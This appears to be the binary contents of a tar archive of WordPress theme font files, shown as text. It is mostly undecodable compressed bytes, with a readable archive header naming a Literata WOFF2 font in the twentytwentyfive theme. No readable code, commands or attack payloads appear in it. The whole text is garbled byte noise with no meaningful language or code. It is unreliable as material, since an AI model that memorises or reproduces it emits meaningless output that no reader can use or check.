Sp5oݟ|S荗]~xfUXm%Xݲx׶o1{U}^Wt,Bi?-% }{Vx.ұgDO;wuGފ0b'&{#_C#Y!H@vm8kviQg_bg_9%(MX5zf?ׯy 5D)A;ȼS? lG4.A5@բT_\–T6~};pWoG7f`x5?`.s?q].~| %T&v#m+oJ~~gihK>RVs\v'Tjځndq.d7n;$:ꖻ`꺱D>QoQFꇳأѰxf'r`ܛ]@[͞.zK{_M$w82݂_XɥdA갚Ɣzo< dȔxrU7pL;ېwO8XZk[k|K5}%n8ӭQ]=]VԐ;M9͢/nm yY+:%Ѹے0qV !H!EH){MxfL 1Edˉm>\J`~ ~XD-%B PT(Bp# fEDI"X.?B2iB^*>p!k<vҮǥBƱ`PӜ3 f_RP\V0 7n1LmzOSB7/2#T4HzHw LS}|/D~*+I%nP0G¼Ƣ_ o=gO*J8kv`h 9ϒqɘ?]L e' яSܳ[fآPo?Ǜ}a:5:<.Q28685E\Onfn~3H &timx)զ+ &TޞU2A Ҩ}C?EW {5'' ^;8>IDIfAKGLZH2fKԏ]*K2t)RC3g$ ԇ"NCc6 UǮ,N4&PEB-/pRDoBVU£U!fa8H ׿a3;CHe^{úMkk|7z_79UւlrDLMU89ZP2;ŗgDe4?ZA[m T"LAml*bR56y~6yc.ma0'{s҉,hɄZy>8eI½\apYR%SХWPjq+fpZ6:|j8.Skwg޾WUdg h}*UEU)v;gI.Jۈmˢ A> T82~ey.]#l]xd =`~#tRPR~,w{aQ =sKle &s݋CR]b RJ *:x:-*I},lМuIS4ݝU7\lݎ7nw\xt^e0?-&0Mdv^ zS+I#f{*;4%jKq|).yw.NfaE4"ꅐSZ$ #RXQv,naKHv}Yl44%c ZuUV+J4 2щE<3_!mLl7$f _o-yo%bvW?FJn9ZGѡhme֢.z7)|Ļ ,cn_fn|mi jJȒ vx`w?ː;+XǺW/އC[KVzpu, qȾCy~ܾIjo8{X1 7rpŸ{_Nk5Ĉ@)vIm7_]Ha 2PdhSc&Kg@TƥOr휼  ̭}I[ܦP`Ksp2h<7TE؝l~ޱj;lt#lw%x;\DC8 !o)Dl6 űwi% 繷T>w.Ƀ[,zZ91Rኛyg]3_Р`6(I;V2%^;?HO|qqĚg/|-EfzÑ}#WSkƭLN7=]'ey uMXƱ>giFОɌM^5(B$ zC8I xOl$r=Z"pq̆ye4J|ն8^iΚtvOWM|Un޻fNHą=)bh^ἐC6qf빐}]JϤc*X2wKV^wOHx?.ƱB` +8blJ Վ֩n՘); zV9ϵs(nl2aKv:[$fd履[OQCӑ]a0wz>ԫl؟A"9o7 0ظm5TKS_TKuʂkܩӔskW\;=m'2q-f0%jL0Ut09oyc67\Oq?dSL->PV9>bg|д"-)q`^X F}rXޥƈA< o`T/PPq_(% 62,FOeå顸#v#jYOfO^>ٞN6tۈ8x|u( *'覲P0/Ux0=\0Cas±. 7tg'\jܽ&1 j++nz@IVYC O,:H`I Cj[m0Bhڐճ=m )iD}{Xs*?7ug&?)2@RdPKm61Qff,;=Sr3sްوEls7PƏ\ӟUÞ&v r>;%k {qUr?UB-Q~!Tpv%U0  C2ˢGUiRt0N_M5CD8'~|lwƄͤƂ໦lВ_pe`e^ㅦWޥ3lÊịZ֬DJqFmA^ tAY=v5 4l/~=,"3]dFi9€K:ĦaO IGݡ'vQ*^Y(Hh2: _ӮVطN0?L 4h; 6zM"lֈ9Ez`>#SY 6GzQdoPP=ZOP"QN'aO CoFs],E잤OSnN*:̓M(GN|D5bxG-H/i0Ox(wݮ1:5Hd(g&=I\3z=d"tF9D,|''ExKz<32؊S%04L@a¹ oFDDw"f&yaC-{#r؉g5Q GsLNNgz֎$RGẓLh֋FQثa$N/#u%v=~j!-i[CuN9G-Ƌ1ۇVdmuSem f*7Jآ&QT_ɋ?K:M0bhm-' *s`//WMb\_,i Σ6T5S]r`mJ}C厯)5yS8)ƘO\a]M[$›`4.ʪv$;G~!U5B[/ YF'h:r}YؚAe\ 0E$)5j.% Qkw+خK" #( ]ߟC NPR* aHA%,;-N;mﴽNsJp(,QZS_ѝoٓ"g & 襯<8cI%Dzv:ꝼiy^⮫w ba0k/wN18X@WqR@ agYGR!DPߥ(j3'%K_++<qуфp/-(G3vZ}t^1ǻgުyd=4ҵILS0 Q3LI”a_^7M(u- % 5=X~$b6l' FJEȟ7-O wܢ*$j< aZ@Z%? %y_@JP'RO RuoͶ#hKe(*&42Mx{(G1wQ$ߜ,kl = X2|M`8JmeL.\'Zh6acyK ?Oad2T ;Ӑ *te?*yl 4ށ0CY J}:K &`K6ļvmHUp ނίݛI<&[MsaÊ#_2ۨ3|E(v{ f1Z;:aVۜ +ww}]Z#ğ>6u›f ӬQZhƕmi6#/>rûs_|$@\?@/? RO-kbQ`?V~)KWʿ-r0>d3m$G]c{+pG ( %w#4$uǗyʽ,H,-R vMDEr>/A1lPq{J㜾EQd&No֊1lA-39nn?BDрF4-hխЈF;?.]ÏMwia֪z5r~TX'ΆM1 ?mԑ҄dw;G;"6v`f=&82ÇǝaȷH#{Iw11=4kvt知}ܲz͖7!{rz^|>dz=OU*GdnUd<mߣ@~^r~B7?fu-2>'h-`x "ד m^}דO_\p3&psMjͬC'ᎅ7<ہ 7fwMS瀙@Wqx|1=}!{yPv|KJؒwHL+Zݵe'A;B JI+P҉Бcsġ-TM)Bt9 H[j\qI V]C9MG; Oa,fVkF)"h7Dy )Ur-YOHV&JΕEINP:*jm%;Q/O|^rpQ]t5tcBx›Hpr*S4=: .b="J::\ ^#dMiH~%u|1MS]o؋-lMfiߑ/'4̯*X5SA?1%cMdLʅ4sV 0FmK5ci2p>(_14ŵ'D͵_3,Jh-4B{蜇PU Cs~-WKOѺuV1e(^=Վ.2|!z'x~@ 28r:񧧮ChT:d~;W' eRH e&ާIAFii0 `#8n?.O4jl5Z'yga^dYOG~O$/\ozE}eX΍-oȽt^ɵ󧌐2}uS@\^"e UqYjO+S QJ~(-m|Շh\L<8 "V1/;PvB4'1CqZnPLj!W~rZ<Mp+D"Tqh (-ڮ:9hZ"w."1KKW\6A"(E^Id$[51`lw 5Vxg3Pr5pՁ9pӕu偱vk3Jd :֗;pG޻%E4<&8{ޞfZ&zޝ+Ԉ(36QƋ`@+5ȹmZFp]V/)Y V/n%_Ox35KXJ|0 1?y=DʘzwkEs=i0:%wH5y𵼶Q1G)uHQLOh,@Ys7Xo{/ӕWҚ#\Ll}8 ܃gqXr x XYO,4.2֋4y04Ҝ7%=ŀzAK  rmIml, :\ P_WRŷqĶ8&;MȵC2Tq@[]ܮFYm騁w%97=P5~O%5Nާ 99ѧFvL G~Jc_{ O C!1{#h bq7po'~Z,V66'V+ضܸm e~>(ပnIoʍM *`>XyʫqP@5cx}/̹]$yWxF աx{7;pkIZN>wi#J$[p_փ*';4| f!-$yKbEjYݾ2qk_2\uL{غ [F9csDěw?YCnUzphƫ̵~Snė/.@ !;z:S/]E@L/IlҤcHOEtRk9_iߘA3fhouZ ?4c* PKLƅ)g0mT&u]y_"gܯICw~В| V|ɟrKXǗ|ٟ+/b~=' _n0ܭb=cWxAsou^wX=R߇)&㜆Sqͅf|Gv}& c^0sߩ!&m@z!>tއN ^"NN/H_=,e 2T+5B,Nh'Lk8UI]NLVxk#2ɒwG Yu24@}#wR4VXZS?mJ 8_7fxahN7(FݳOIm8IUtˇ7H+*̫BTa=AYH6SteͤޡJ\Ag {fǎ0S.oڮtw9 kDk`s( TğT 7qA[ ` sK?[?!,g筶'Q(3}w 541e;XTA YSsa"LJOp":c6ྚ5mJl6@Mg 0[Dr;Ic"dIhʠ ?fn#Q^E8gW.ωx _ Q(є9@Cꀸ美9VOC:hFddR$um9kAFe(9 f8Sn@Nuׯ*G\;qlU\g0A5aSa >D)%v |;݂QX'M̍9 Y&03ר>*Qȭ<:D +\ e>2:lKQ>o sh`n̂|KO qoW}̠dϗ?sb_4nq {T*Vp?BEKWϏBSBiM{ ܹR󆬖t|]22}W'9$$/ L #j /+O_F|т>>m}3q%еmsAtHԶ9"cΤRpY4#e<%RȥAxOO|Z]7Xޚ;f#(<`G EN R:iQsz;h[,\XjOn$z뫖eZ-j>5U2Hj4),unEpL|ټ!\Q0R-@:]s5ƍrdBK$PJ,b~,1#dtF5"OW:2~:&_6Y:=H?ZSn^b4ZYe1ehi_m(2cM5@2D 8U6|Ι A Ѧ.O;ܖ(TЃI$XL, ~+ŭm"?(s% Yl$8Fr*-Sx+_:l Qu&VGSij]qt/ BlպΆY>~Q3$ SeB#JA<Ȱ\D ڦ񝶳ph2=(:nh݊WJf!Z SդQRpA\M 1uWyՓ~ߝ٣h<ۋ,Z]E ܿ194xRjife}J>"<[-D1y!DEUebG7qr wz'OO%<,(XY4H F8{NOKH(kC3qpta]{u'w|?5p)XYFs42OmSMƼ0p8IfA(<}#=I~L<<t'9 c,D!hJdevmb4ax4˙?p.ZFjdB0~MYpϭ[nxL8eU Mŧ^gp<ّٽQue_#;NOQCW(WzJ.0@\a%CogNsJ껹3{$} ̧Yk X@PR)yM337||8|Tk?cu)˫pR98 :PN0` Gm]݃4Q4`֬ ,M2e0M3z3Bf),`+zj((qWJ"LZtiFSMhf0"fNQBʫ߁4F1f*bqڴ JڐăKܰ,=|7~`jȌtRd?MN4'<*\r^AkDDq8ȷ.)`PDoZ=MA` :\:M9[|=\ڢ鉈-9hEzPnԝZ^յns;l!3kF]knzޮ*mlth ËOu JoP?e'ʓ9^٧DkR/KM>SRjSP^dڛAôr( Pv C2VrqC]2r\q*Ýe7}xƺ˶FYG"oԤ%nSDl ¥諉)A Ny2GvAۥ[ab.Y3*n|?&ojntÅouȐ=Do۵ڼþ?H,me ^S!2/xH >Ao @rMSS3 6q ,:˜/嚖 yu3:]EzyJJ%ݔI\C$N~M9]ɦ ?=?eR켥tbdH'-͍B8(I9he×QTF<"ڌYg4w Ɇ\c…W' h seTPV!w[)$7LS+{4[IK=Yk bF|E׃ |rq_& q3YWX'0_ӸCdŒ9c2x!o7b pgueF4ãH2efQ@gMOϟ! 3لz(ov>B*Q܇H#rW]YWKZAN~ZSڱ=N<gsKstqڨD.0jX5^ϓcMSs>@nn1j? w*9{㽻i$ƶS's ܰWoԆ=OmɏLIPJRF)6@)q6cn&ջ$B+%Wǁ|\M8h8)@h$rc8w6ΖeR:b*ameu[D ]xXe"?!ZM]F. 纭D9S0ZfS< Q+wZ1I|-<\ٴY/䒉m ]pU޶UKӒ|-Bq4 #~^d\&@) V%0l)p9%_ `4-nlyoƬFLpCg55vhT~?H*(*= 3 3,iϙMz!:طq}NL`Bt=r"\&TJODAXCq" TSyt$ƹ;eˣ !_-ӴgdЄ}Y]hX-gZo[EnM0#~S {YCYҋ7ƦitK[01Cᒍܑ%Ҙ:bKT/?w=.7Vh09;R@::sI|<+sW>u(=\nouQol|sڪGn/wyE4[ P OuJʱemh4qFZEj{w%ӍjS+vSU6[}(XeJ}{vEl"N%Მ&!<A2[chEh ltYAuH&LhʈT<_X:D8b'<5cdL0^Q]6螘RBăLbh7/RKIfgC8ZvNAC-5Sv\f_'xڦf#rX)Y>=ig ˘t$[ bVx4`g'(-cf .ՀuRdl";>RKͪ> (g$))b]dx;I؁'g;m8Rm^n6ʎ>~.jt\ y\NLH* :@Ԩju#tHecM_L+ iyc]ujy7Ÿ5RljLfꊩqb7d w@;on캻Lg:J/JJ4PEؾ)Otr畟,yy$yy@! Vl )?7mT'WIOEr bMS3tJإ蘴jt%%ml` mEw /h 05%e)DHÂ*?\| V (tOa|.J-YgMdf;V"t~fo>PTV?<"fВ˭{~}}ywwx᎗g85fo{/ wv .U{nDv&AEt}^9H ̯X<RYda{`}yRoLXYҐ`> i)„Xx61 #ǡRNJrAQ.lMoZ>?BT ШNB فn0MAַŏ4.WeWmBd]B\I)vI יḲP$E, >Pg-8=v d裁rddJ.3TCH{x4 ϣ-SqS՝a?QA֕c|~6o7Jh$WpD)=!( s[ VV7Ȩ]3|q(>c>&̴5}Ȝ޷P(՘m]z qY 9=y*MwAFp.d7MBwl/f4;)>?yt(v mF3?l= 240x2kuD[[*m0//O`Ү_j꥿+VI,4G⫳y{7:s!({0+_3#ܕVe36j`?n9 8j𡜪aC)Vg57zw9 G#F+2^iB -1r"0.Wtt⠍C\W6ߙ~wٻ ̡+{\-iF3WoF̶>$Ob"->&3V6@qZFdQAٟPBǕ=mƢ*ٳ%Vil3KbV`Ц 4 #d d`|\MŲt%`*|Ipt:tbPK`i *+ޑ}uchܼyElLwr–>ڏ9'wm*䁫O/Ur9)U-/a[q/xh" `3x+- ϘWoICo5uƅ,F]KMpuM`STG_ +A~}}ܻqfR\ߞ?5K_bIG3S:A(H]O=hP79gqvՏi%:4yt.B Z )J\K#Ah"R앃݄J#AfAWL7i;9LO`3"z2*; ' _ Y`Ɋ"vYaI̎PP\҉PU[ic]#D(*!%AcA]]]vX8LIliV+Q;ڐ= .NSBk((,"zIA䇑(=  aށpk&Qzjs" Ԯ: }V2P'Dޡ87Әo/co F" YLRD-D$EHo{,R\Af Ԍ.+{,lx2+1 8;z7^~cPŐ#b}LXv%uxPy8Ê>bZt-)m!%or, FB-]-(0MMr(布g!pE_2tLjOht< ^f -T2nl"J",#@āK^@ X1,X[d+ek[w' ~.c#&7(`ciC7' f** !"'@^TF=Xn7Gp[= Ҭ><91JⲧJV| P^q4Z2eL>|ubLIp9 tSSjZ.nU£Q^eH$?vC]M!!3~b:%Q=Aߊ>NS*Fv!hgxoF0V[&;L@VG$)H@\~D ½fSiT&cI¸/8M Ji$&ㅠ|.wA4\TP%BȪ\8َ*[@'gdm_W5V] .pMU%$9½+BBrD"6lY|*KGVf%F(u*y(pD؃C8Zs>\˳s x*EgF8ۼ(ܩ?<rq[G ָjPUQ|~D|ح^"=;uuRÅۼMv[jhd}ۍH 1I+j P)挛9?̯6kN{گF)[D9w0 m YXLB;TԒ)qfMev,p` Pv "N!Hy7,yS5GVW"3Q0Iy;z7#؝?w xқG"_~Mb§awQ'u>Ca|+2)#B+vK? #0ƚd]+aZR6yMm{,0wp8)CQH';h|)I{&s6_4c(9# xRr˼@۠hi@%<#'YB!}X i,[I" 8 z$G@Vy<&O*D,wl0B~4was5R=6O7by>>3q xTZ `0V)`]j-CBcf,O5ʘ\n)1!XGmaa[=i/ JAC>fl.fj29RsfFe%q,&hOcxcHL-mru--"4)v sH|"jJu"d-+ⱞ5R(&{6 GVj[-F!,h&I[/?P+9xJ[ScX 1cϾ7{Lp…aV|y9τ%V [J󾋘DfnmgcۿlQfJ4]155׶l2UNeZ>>GE\MH1.TV\ت9\NNuƙQ{(Z+nԛg( }(ܽqlrJZSDA0)rBHbKp FK| ih#qfŏH`|hY@aJJV19$? ړZ3p׾?339lyǃ$ La7[:9Gc1!ڊ1e`5 7Om +Dܘә 7*:d@FwR(Fy 9颎b"@>"q(Yj.@IeLG0AwȊEh& fԿ,(eNa1`7z҂Κ뚲8lZYwf1X!x9;dG4\lW7_/ .g?4Wi&bVƭ7p|DKל[PWY@(ܥW_i bQKǍ::>~Ai?00G$Еu&.4$|w}QGp* QMMށwКkV] څQs">^C(6'm1F6j6]dh{M;4!u2nI70"1.ـhj}|ɓv>: Q?Ƹ.-3*RkWtRGM8m] 6 ̓kx5Wi67=Vئ Gє:D>@&R!WpԂ@qypީjZ><~?*o#* m!rH3m* 6l} lD 8G+hgI￾~~%9&e9\ªCTQ, i\vjZG%n~0\'d!:>+qoӷRlK5H_zz;ͱ sf6Ozƒ^kSSxEL{n Xh3,.AGgQff~F ʨ4*9]!Fu4p4O=\,|e㚮X~)㑃ˇs30*Ul)Q6hyHw43W19߀Mkh g܏KOPb(r͕M+ȯAg8#E/0(zvZ9-}@%s5xSsfaծFu(dX.=2N} ЀWٹum#[}~ .\= /ۡ966ы0_[ˀ}{Hâ/L8F^ 2<-[be;)IF>5z}yaIyrClVYp"l}e`R Rd-qiƧ]6(O4̕ h8pkA -t{`(GwJBa읦`7<{oЌ^mh>۶l7ݏ7QS6le4[2lX"v:͛ o'"m:)`([NJ +h@h!l:k N˺srˇYke4yx~2vANwr|),I33V@ZT~˒&_I(Y'.RQ::Tl|Zǣ&(>)ሧcHnfF-%leڿRi2bގDpzHä AD't:beCH /NH<^2-1KgQvQ+rF+,3Px@FGZ Åւ[ґ8f^ߎ_2%Q-ݵP8r?{$ "TFMĈmf$a@ ]ʐ\\\%Tp{93dP=҃8ڦ62V{ɥ]WRMuq{#S^[`eCQg/|chߗeil( y~~_(0I79Pc[e öX(7(G|/I/Y3=Ai,9'Kz!Dwwk UCNv[IY܄o"4Ez[ơm<>9N06gf}lst#Ghmд3"m&GqI`7$w 䜎۰ʈ-IzB i3" ꊢiྺ3 k2)╅j"omJӶiiV_d8,ՊUKnkǤ\ۛɘk߼{|2C_$)9--9_y /1h~:}2ɋOTӥMH 1!$EeP%ZkSq-% 6Snɟw33'jC.Xjy(fӴǾ5KgDRo-7ajDjׅQ}SЈ5P=p$ !eB#L;"Dwjѫf߄u/ӼKA+j^ HA܏P`lyE79p7ybyeװ dXgBI(ڿ&2 {tmt2ºZU[´0q+S2('[^z&yDLX׀&DI}B \7@j `8 8-]3ۼ |(0EY=[.iЃ?3hrE ! %%8 ^]G&MDL/V>{PlWetxIZB?~rv\T+f_=YMSE(6S[&9~=]WQB9@8N=k\}b$W1,TɭvŒE@H?pM.."u; @HЅ8S]Q|] WR1 Bwo$ &ed^x82hiChhcYOU\9ݍKCS2OA@ն2MjH#鋩إ^ٲ$aswM]) } ^Lo*?g6iJaȖ0LfP'TWe 1 9̥7QV%"fHtkPgxpOPUd^iqS* >tqz5,KC|%`X/ԩo&'5 `6%bF-9،Y~޷%% G=0 ?׍otC4{?E%./tNܑ,=Rֲj 774#qL9vRZgLPjZli]5]XpepB# ɖ';QQ+^ AOaJCWmhMo]*c>L*n2+#N^{q7ZǗ?4DEdY5@NܿN ,HCW"ktB- "3҄"<2hQ-E-(j^s7Z ՜ e8%_)#)h귖A 4_lbzɩ6 \ !# s}pA G>h6wp x@[/ 7~@\-p E\뷠]AW1r !?m62ix `}=ک?>΀XE`ZKa޺OJVr5% 1G8H)+.NԐU{p4-C4I'cņϏ6 y9mIz[x:N bby,58ŁPr:P&` To:dKQ+&C`ͺe:DvD)< fmM <haE$XQ:;ՇwX,*rZPXvNԚCo`T Ge͝5i4>TYW[tfbZD*u!L]NQ^Ȑt9|vm^w`e?(u4!\]siۣT{n&k}+[) 2 'V+5YmKEIX 'ds1T\c2yÛX~p+uqg#ɗ^IMF0`E99Pԃ)I_!5#"HdPmhp;3tR)T᫛:-;sǴl%6?S6[=3&EZ"L!2qH(`7j۵!g &uviGi_ H^oS50rkT{َ"`DdeÈ)Nd#ͱhժ%`E Xa*PlˉS]`z3@;]hw0ʺq- ~ddVq A`Ag5iX: 5XA0b[{Xnhh%l<91C!WS =VVerH)nڞg|ׁ[ ZXJ鄭xzުַ 'BWvH:S#C:fm&+7A[Ø_\Û76姏|h"*xEO2חL$@p%@X:*0p'BB@~ SFz^4ԏ(KJsՕ/CH ]/_LF5-3:4 | kl[;My FC9 WjR'睍 GIhřb"S&hu]{־໚OEv@n1$8HD#2ǁ$^h}\2a]4.r( \a A &44X[fm`Z8*ywX[}n u*PE6Vn (#JI)THMj\NFi(v{`O n9V#:[[-b1u "@aU\FeHfVo%+NDLQ^E!uR:ͯƕBPXb_a_9b%:ىz2( (y\ aDHJ``_x@/&b۩CyQ,QW]P#;22K-ӬʾEAc?m|LR |ֿ|q[)٩@ 4M2#E\F>E!4-z%hA$o㦊6yvO*n҄۟yNMb$s4psF9mel{S̏uxdH&x]ϦidZyt3 /R^_Ny, F3{6- x,Q9$:RL'4憴y4-+IJo@"w4+mSATiO IPGC@緢`>LoffbըQZ$bP*m脘QRƍ@A [>%"1H%Dkؠ"汣&lQ>vNX! |q^bw2w|/*cf'*wt:Og8wl YFL4 N&6_IqB(4D_vLlgԦ-f҄ .h۱5"K$NqĊ$'n:{jix~&ZSC ڏ&Rf!Q(iBAUu RW+3V۱9:Q?ZO#f K'Qr2.Kvw}"&ֺմ]֖=|᩸5 ɩAw⠗rqNSĚv+f:p{z.PDBҟ=J_⬵N$B%(fCz )6}nϘ72裑A9Ec)5@wjIS<"ྗnT=/1i,@/0+8T88+pPDC5M3t`).*5 o 4GjϺ3"h;\? Cot]["!k]g7=ZnWn TגT/n{tu}5!x_=zܣy?֩{,FdCZ8!(ʹ~6my#μDӳ1}RڶnKcUMMv۹y(Юsd`ja?.$3[\lX^U.lQԦi͘]<>Y:ն`f":o8bdT4\~[̮5͋@{w7Ʈ/TMwH5?v+<2ChFKc]W&$F"4Π0L`_zS(_A OǓQ6&E4oOrJbŁu3xF)چJX`thU HC!h&Ϛų5]K1 {3c!!=2x?EPD) Z1 >LWw3ވs)QY9~lu$76.r`ie{vݷ9l>ߍ=G2yuEc7Җ/G[D}jb z87o}.;N]P[9ݘ"QH!_Y2Ϛq~aD#÷^ toif|∆1ɩäW!\NVR(HtwlC7,BB8Kg jh?cyIS̆}Qڋ\`. 'kǬbՅq ZJ Nb]$dZFI+GT8Rޙ5mboHf G8m>"nr A)vLl Ƣ@YF]7ӑhf~]^F1 P9 1h<;{UN_n{}\"2_> 0:ʞ^WďQsV̳FE&02L%NתfǡIhrΧvp!Ԛj~5$w?a_> ߔ-zc@vAA~]v^<s碲5ORT8z〄J%ekqk'&H!b{8 DՊMSk57[@IΥ,i 8Sl|5M4KZf-b( p4L!vG䧋&4Qz1S#ɜFv{8*a6dJ; |F*+#L^w f, 还N >c9Du?|hèSG~$)G1i^̥??qEq9u^6h?2stvy28 sJs1-nmRgĕzzc]Dvt18$&@\wD:rKP8{э֍?PLsJ~$C8{.t1iD'^A*d,>]|lYK/ Ep:41\.LF }(lAv,na@=[AYYM0}wC?}qEy1wH!ظ0E4a @8RKu)2fI[+Gr8qVncR+ cۄϱ:;TIt`L(Jo_ܞ b~y.uP~Iα4)$_?^$`Zj+Z$nCm_AxL򠧼q7UIM Vs'_ޤb$/8?JfuT5 Iv!x}WUl[pU5A'"B;.x{@ON /AG^xEk9jnq^/2w%{龚YdO^8^e<)ftɳ.83fG>F 6NI%?2+=7[*G*`%8qB[o ؆I0jQ^U=~}F-PaW&s{5+č_B/|:f;ya*~DF#e;WCbH!C6p?wMy }~udCD[t^ɩV%#);y($3c_D6GkB#bC?dBYu| _ek44 ,f,+z9.J[-<_ }h5,B6u}˶"\Is[aU5XG1#/碻xCV{4tyɃ-WY{cA4 =tpEVA\w^1s,s"`q4PGX$14G+Ěv͖omr(ܽXˇx¥m .WsFXceNo+F˻@]9>!l*C9r`$ɫhCў&R9/ޤ/75U4 A ۪7`\֬ %%>od;+zc&!+߿6 '-D/,c@XG$>S"*o}-Q }دoqɵ+4!H~3XwmsΩPOa09 8!G5QD&͌@ӃFvv'8z1ChKvDDѼ+;ڦG~yHC;z6_Dm="38ߊcqp{H鬉ۀ̡."HSS3is^ޒP/Dg^-w!? [:r#>.vg""mųye3Pf5N04~AqKhjn>Cr|lжح&0D\Y,d0 NrG[kd2\ץhYFqThx#7sFt`gGM4 G= G ]bA-JSgQ-8-'dQ8b(e;eG eXM:r25jk\V>,#Z}zP Zh/"evƖD'"<=8G^ݎg@-s97G7EYbDdTeBA~ZyLKhlţT[?6'`K\ XbsĠq[7'Cb:`CcG'9+,ZB;'vfJ SnHU"J{/s${%8OS}0o 6Ln '(rkİGy$D  [Dtޏ 01$G7=ݞOl!LRC{gW#FOD#ɤ!}U-8i#7^UBnQ)e íf*r^̅MOa'=i0CYuY7nVV Up[[qj$D6.AC?a{ N5S7n/d6D[ː]3QqfD LUJQDQg|QQ]\rWW]VKw{ zg]w FAc pU.hMjNШv&ٻ R9g?$[>9 elFEk4n_@][*b,g?96ෞ]E1wBNhKMX0-ThdX'r&'p4.?L>j&{k )~ΝJ}$c'')ENu{AKN~V:&۲r/WRwgwz'm9zO^[u#iq/8#\ {U /y~:*&bΟW14,DSK>MU!ؒGTÜ=c\͹,]x6*쐶i\XC KNLÎ=sGތ#=EMǣEt_73cǂfxxt:` ͬh.NbZ\<>xGg5`vI"(/awmi'2I Ih {RL xG/*r> ΓK$Cl)v) SOnĬϓ>gZHPg/1Afb*?Y-h&3j35;jUC`ĢXݫEܯxώ7-Qs$Տr[~AaI3bP)3D} ި酀qO 4`(CJtF-d (ߨ"؉~f4q\IЃewzyK.~3llq uI(x}xol<#h Ֆ+ԟo侞W9 ۖ.򧊘ëȱ@I'[_n>XaڼL{Ԩ_דqC mC5uyȥg3|G1:3E^Yb8]5ʬAY3~V XAR1O9Kͫ^7jnVaT/N>񒫙2Zd@|p=$-TW)6-4kU5`U-F826ZP' Jf_O؟s|-$nۏ ۷UEɶe$"^ũښLJuG*°٬wyɂr\'rv3C :&ap8c/ N|1)HVFX$)P!ߏZUjԭդE|]zpd|U|ncuquvAi~`-KO@( QJ*ȑ:_Aub4AF>)ڰi˶}?RV#e;veˎ=ƙp8i^ Gw4uz4g~|@0v̌ɔ#w4#G((,*.)-+\]S[W?v/yוpnh2ys ȣ'&)!e d[ _dEtô!&Ct1H_"YDIdQٯn'k>/ 1k 04 /e㼾|@ eZvRu?oٿ+]nW Q^(YwfwAC7f_ kݱ}wec#?r?(pzB]]| )ABoMlrSf -$ CѣfNןAWB,x +i.Nr'IJ~2Ң_ovǘq&0gRB] 0q NPTTZ|m˽:n~0X:tM5e2Ѳ0`Аa#F7ad Ŝy2)5p6qvzX$JXZ5zfzY7zϭ PLoDivyNw"-2KUk/z͛lVU 7=}4Ԑ.1R=c>y-qhU>?C08Bc855ɔuܲF4w7UäQ5.4WbJn%#6uN=A~TR59Ycgko4n{W}9.sx|;5D$QP@SDEBCW/zP> j"@PP>\[3{LX0,!١ZмPǎ) x{ #t(eQ>[B1$=^H8$ 쭻Y us4xӀk!ԐKs#A (DBhEgYL 45G\[#J56wL)4DIMq%h=%^fA)x[C5C ɜ\6;tPZtXH*A 3D.uMί`+n&U)G-6uΕ[>APQh=-@|k=[([X3iq:wi ȃ0m=-,d7蠫kwP7`D$ʵZ8af)W XAC k#-~ц22%IڏV&ݚqpJzBmG3aD hڕ^Ͼ35V,B!ԜsxH#=N̴d%y~k)7gvKѻ+YCzaOb&TMxm<@C50diNO<%!C0Az2Ap*=B$ ai|aw0 8 J1Uhx'aa`n`@vMݰ8\TQN |]gL3sx QÙx>{d \%^W~9~u in-b~&Cg1p8r6:ˣ=e&n/IX0c)qYڵ}]bzky|s'XXT/㟖Mkm~#b˿ZǍjL; cqP ?pʥ|MZuPJ|].<W:{E/p^>V[_(ssJǜd ~ >WU0.#DE LI6%L(„|"0gX~ JaB&q&Dy*0&aB3>mDŽ e\<]qvi׺ e\W! |m.|!]N xzڏ]rD4TLנUC3ʢ8N6YѲ8,tFupVI">aoZKǤA"P1N>NnZoow;nY FY0`'4AP:m-ݤ:؞0%~_-+EY%_͓]^/8 Jr!耬C NIky܋#3:=8569rգ'1|+(GKTaNE\b,!TȮZuf(#m6Ѻ-.̛7! %߃fuҭί(|6x{p8 [xо'Ɲ>OjO`o&j8<ߗ(xp^$<}P3%hίYq fQZErΝqz4>.=>nӵ\N?R$uۑsϛu|gDF~Ώ[<DQ\9tF&fںm{{Z^K?`<_aoELёpu}J:nUuL7"?u·FZwv&Wrj~Y7?.ܷW43h/?WOft퓈m\p[ @moxj|q*):V܇G;Wo`dE=_|{ ߪ-oqև $#" =;E C |b$%Q48OBRBYF S(LĪ{;CXk KFѨ5,ٚ=םi;bK!!q9mr _<,5Wt>UРמr~v>E.;gP3 ]77+fn) !K\ln W_5똷CM~]EܘhZ>]_>g}G.s%7c21b3)*R7P;!!/ R% 5mQ|=RDvikުh="GԵ/\䡬L$ !_fåE<`KG,M~7XY_v-茷ZWi|K+ogG펧wRAleLZu8fMˢkY7a|0O7˛:PB;7>ekK34uQ Wn~1y_9݅ͣ / ɖ‰!01.FJ;MQm evI-+hWrkx:ʃ%$ Xr[H,pR21(\'9Sp1X/r z͜"#z$~?8~8{F>^Rã:M8+jwy1iq"=ᤁ5?=6\XX5#}/[XHH3L8#ex:J[)fettr}16yߓY!=\y<(.oJNYHg.xϕuCMT\%O $ݭ#;X]khrrΒƗ_䱿-M G1VqODJ:O-"/+)G\۔/d(4,n<6߰tMzy\=N]˫{puDȇY}Ielq'q}D S/橌8kM%F>BpU65 t7AB3.H3\: {.="fXHKсIs=`7pQ)w'櫨dސ} -HDpK> Ox 8I~Br'P?"0>k8Ie|[a.]$ΚQ[Sw8Iw 4~\CY?h16d )&[JS\n!+QӠq3]}0E= HIeKc +46p'U-%}Mf?ɁI w-5k*pV~ ]#!{*<\SAYrtz[Nb^dߊEyp 6TRF5 PZ j@`3n?4]!CT|ã=.By٦;AgW7VnIrU-crw-8X~j5G@themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2000064400000323120152335264760022262 0ustar00wOF2P/^`n`PX  o6$t x \ o$r[4du0[vA hTK6(.s. Lp opv^]}NY*OԦfvoS@A-h 6i&mz@8Uu$xHRfi^(V\1mxtB7(zldHЏ!>$GD+KZS3vEŠ؟.Hi8*b|-_]\`"K K%PŰ=OÈQm>P9YIPi!T;lW<xs!7)n%]}?׮$sS }*=#!&Qux{|h| >,tY2ۄ]$d g W@pE}Xqǽҽ#lJXVKW rP*\ʝ:N<=~k%o湠 SA{H ם&ݓ[K:"Hfr IOs6CME3rEh 6)L+a=9x>Oc)#%b?2_-rq4d*X-dtr2V8W2ۇOQj0iAԾ}7Gjj>CA`G*4뎑*p dk:v3 ;?ʸ{Γ 9(قw*U-Omg+vB.d:Cfk">]GЏBb?3'VK HNSD0攈(pbN iENjោK%Ga8>Ki wޢX1@_bkjD=:9/ڟ;@BhΪF;C<*whw{2FWgVQPn7Iڤm<= G tB/b,bEV/Bc-v)sJ 